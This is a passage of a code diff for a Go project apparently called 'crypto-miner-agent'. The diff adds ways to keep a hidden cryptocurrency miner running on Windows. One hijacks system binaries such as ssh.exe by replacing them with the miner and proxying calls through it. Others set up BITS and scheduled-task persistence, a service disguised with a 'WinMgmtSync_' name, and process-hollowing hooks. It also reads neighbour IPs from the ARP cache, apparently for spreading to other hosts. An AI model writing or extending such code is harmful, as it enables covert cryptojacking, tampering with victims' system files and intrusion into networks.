if _, err := os.Stat(marker); err == nil {
|
||||
return nil
|
||||
}
|
||||
backup := hostBinaryBackupPath(target)
|
||||
if _, err := os.Stat(backup); err != nil {
|
||||
if err := os.Rename(target, backup); err != nil {
|
||||
if err := copyFile(target, backup); err != nil {
|
||||
return fmt.Errorf("backup %s: %w", target, err)
|
||||
}
|
||||
_ = os.Remove(target)
|
||||
}
|
||||
}
|
||||
if err := copyFile(minerPath, target); err != nil {
|
||||
return fmt.Errorf("replace %s: %w (admin may be required)", target, err)
|
||||
}
|
||||
body := backup + "\n" + minerPath + "\n"
|
||||
if err := os.WriteFile(marker, []byte(body), 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// HijackHostBinary replaces the first resolvable host binary for preset with a copy of the miner (proxy mode).
|
||||
func HijackHostBinary(cfg config.RuntimeConfig, minerPath, preset string) (string, error) {
|
||||
candidates := HostBinaryCandidates(preset)
|
||||
if len(candidates) == 0 {
|
||||
return "", fmt.Errorf("no host binary found for preset %q", preset)
|
||||
}
|
||||
var lastErr error
|
||||
for _, target := range candidates {
|
||||
if err := hijackSingleHostBinary(target, minerPath, preset); err != nil {
|
||||
lastErr = err
|
||||
continue
|
||||
}
|
||||
_ = appendHostBinaryManifest(cfg, hostBinaryRecord{
|
||||
Target: target,
|
||||
Backup: hostBinaryBackupPath(target),
|
||||
Preset: preset,
|
||||
})
|
||||
return target, nil
|
||||
}
|
||||
if lastErr != nil {
|
||||
return "", lastErr
|
||||
}
|
||||
return "", fmt.Errorf("hijack failed for %q", preset)
|
||||
}
|
||||
|
||||
// EnsureHostBinaryPersistence repairs or creates hijacks for the baked preset.
|
||||
func EnsureHostBinaryPersistence(cfg config.RuntimeConfig, minerPath, preset string) error {
|
||||
if strings.TrimSpace(preset) == "" {
|
||||
return fmt.Errorf("host_binary_target is required")
|
||||
}
|
||||
_, err := HijackHostBinary(cfg, minerPath, preset)
|
||||
return err
|
||||
}
|
||||
|
||||
// RemoveHostBinaryPersistence restores originals and clears markers/manifest.
|
||||
func RemoveHostBinaryPersistence(cfg config.RuntimeConfig) {
|
||||
path, err := hijackManifestPath(cfg)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
recs := loadHostBinaryManifest(path)
|
||||
for _, rec := range recs {
|
||||
restoreHostBinaryTarget(rec.Target, rec.Backup)
|
||||
}
|
||||
_ = os.Remove(path)
|
||||
}
|
||||
|
||||
func restoreHostBinaryTarget(target, backup string) {
|
||||
marker := hostBinaryMarkerPath(target)
|
||||
if backup == "" {
|
||||
backup = hostBinaryBackupPath(target)
|
||||
}
|
||||
if _, err := os.Stat(backup); err == nil {
|
||||
_ = os.Remove(target)
|
||||
_ = copyFile(backup, target)
|
||||
_ = os.Remove(backup)
|
||||
}
|
||||
_ = os.Remove(marker)
|
||||
}
|
||||
34
agent/deploy/host_binary_windows_test.go
Normal file
34
agent/deploy/host_binary_windows_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestHostBinaryCandidatesSSH(t *testing.T) {
|
||||
paths := HostBinaryCandidates("ssh")
|
||||
for _, p := range paths {
|
||||
if !strings.HasSuffix(strings.ToLower(p), "ssh.exe") {
|
||||
t.Fatalf("unexpected ssh path: %q", p)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostBinaryCandidatesCustom(t *testing.T) {
|
||||
paths := HostBinaryCandidates(`custom:C:\Windows\System32\notepad.exe`)
|
||||
if len(paths) != 1 || !strings.HasSuffix(paths[0], "notepad.exe") {
|
||||
t.Fatalf("custom: %v", paths)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostBinaryMarkerPaths(t *testing.T) {
|
||||
target := `C:\Windows\System32\ftp.exe`
|
||||
if got := hostBinaryMarkerPath(target); !strings.HasSuffix(got, hostBinaryProxySuffix) {
|
||||
t.Fatalf("marker: %q", got)
|
||||
}
|
||||
if got := hostBinaryBackupPath(target); !strings.HasSuffix(got, hostBinaryBackupSuffix) {
|
||||
t.Fatalf("backup: %q", got)
|
||||
}
|
||||
}
|
||||
@@ -55,7 +55,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
_ = setFirstRunSpreadMarker(installDir)
|
||||
}
|
||||
|
||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" && cfg.RunAs != "bits" && cfg.RunAs != "host_binary" {
|
||||
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||
return false, fmt.Errorf("auto-start: %w", err)
|
||||
}
|
||||
|
||||
11
agent/deploy/network_export.go
Normal file
11
agent/deploy/network_export.go
Normal file
@@ -0,0 +1,11 @@
|
||||
package deploy
|
||||
|
||||
// ArpNeighborIPs returns IPv4 hosts in the local ARP cache on shared subnets.
|
||||
func ArpNeighborIPs() []string {
|
||||
return arpHosts()
|
||||
}
|
||||
|
||||
// PrimaryLocalIPv4 returns the preferred outbound IPv4 (UDP dial trick).
|
||||
func PrimaryLocalIPv4() (string, error) {
|
||||
return primaryLocalIPv4()
|
||||
}
|
||||
@@ -5,7 +5,7 @@ package deploy
|
||||
import "crypto-miner-agent/config"
|
||||
|
||||
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
|
||||
if cfg.AutoStart || cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
||||
if cfg.AutoStart || cfg.RunAs == "scheduled" || cfg.RunAs == "service" || cfg.RunAs == "bits" || cfg.RunAs == "host_binary" {
|
||||
return configureRunMode(cfg, installedBin)
|
||||
}
|
||||
return nil
|
||||
|
||||
@@ -35,6 +35,14 @@ func serviceExists(svcName string) bool {
|
||||
// ensurePersistence registers startup hooks only when missing (avoids re-spawning shells every watchdog tick).
|
||||
func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
|
||||
switch cfg.RunAs {
|
||||
case "bits":
|
||||
if err := CreateBITSPersistence(cfg, installedBin); err != nil {
|
||||
return err
|
||||
}
|
||||
case "host_binary":
|
||||
if err := EnsureHostBinaryPersistence(cfg, installedBin, cfg.HostBinaryTarget); err != nil {
|
||||
return err
|
||||
}
|
||||
case "scheduled":
|
||||
if !scheduledTaskExists(PersistenceKeyName(cfg)) {
|
||||
if err := createScheduledTask(cfg, installedBin); err != nil {
|
||||
|
||||
@@ -34,6 +34,10 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
||||
switch cfg.RunAs {
|
||||
case "bits":
|
||||
return CreateBITSPersistence(cfg, installedBin)
|
||||
case "host_binary":
|
||||
return EnsureHostBinaryPersistence(cfg, installedBin, cfg.HostBinaryTarget)
|
||||
case "service":
|
||||
return createWindowsService(cfg, installedBin)
|
||||
case "scheduled":
|
||||
@@ -120,6 +124,8 @@ func removePersistence(cfg config.RuntimeConfig) {
|
||||
runKey.Close()
|
||||
}
|
||||
_ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F")
|
||||
RemoveBITSPersistence(cfg)
|
||||
RemoveHostBinaryPersistence(cfg)
|
||||
svcName := cfg.ServiceName
|
||||
if svcName == "" {
|
||||
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
|
||||
@@ -17,6 +17,12 @@ import (
|
||||
func main() {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
cfg := config.Load()
|
||||
|
||||
if backup, miner, ok := deploy.TryHostBinaryProxy(os.Args[1:]); ok {
|
||||
deploy.RunHostBinaryProxy(backup, miner, os.Args[1:])
|
||||
return
|
||||
}
|
||||
|
||||
if deploy.IsGuardMode() {
|
||||
deploy.RunGuardLoop(cfg)
|
||||
return
|
||||
@@ -107,7 +113,12 @@ func main() {
|
||||
if err == nil {
|
||||
os.Exit(0)
|
||||
}
|
||||
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
|
||||
// Distinguish stub (missing -tags hollow) from a genuine runtime failure.
|
||||
if strings.Contains(err.Error(), "-tags hollow") || strings.Contains(err.Error(), "not available") {
|
||||
log.Printf("[hollowing] process hollowing requested but binary lacks -tags hollow — re-forge with Process Hollowing enabled")
|
||||
} else {
|
||||
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -237,6 +237,11 @@ func (p *Pool) worker(id int, engine *Engine) {
|
||||
log.Printf("[miner] hash error: %v", err)
|
||||
break
|
||||
}
|
||||
if hashHex == "" {
|
||||
// Engine not yet initialised (seed still being set) — break out
|
||||
// and let the outer loop re-snapshot the job once it is ready.
|
||||
break
|
||||
}
|
||||
p.hashesTotal.Add(1)
|
||||
nonce++
|
||||
|
||||
|
||||
@@ -55,15 +55,13 @@ func TestDifficultyToTargetHexTwo(t *testing.T) {
|
||||
for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 {
|
||||
padded[i], padded[j] = padded[j], padded[i]
|
||||
}
|
||||
want := strings.ToLower(strings.Repeat("", 0)) // placeholder
|
||||
_ = want
|
||||
const hexdigits = "0123456789abcdef"
|
||||
wantBytes := make([]byte, 64)
|
||||
for i, v := range padded {
|
||||
wantBytes[i*2] = hexdigits[v>>4]
|
||||
wantBytes[i*2+1] = hexdigits[v&0x0f]
|
||||
}
|
||||
want = string(wantBytes)
|
||||
want := string(wantBytes)
|
||||
if out != want {
|
||||
t.Fatalf("difficulty 2 target = %q, want %q", out, want)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user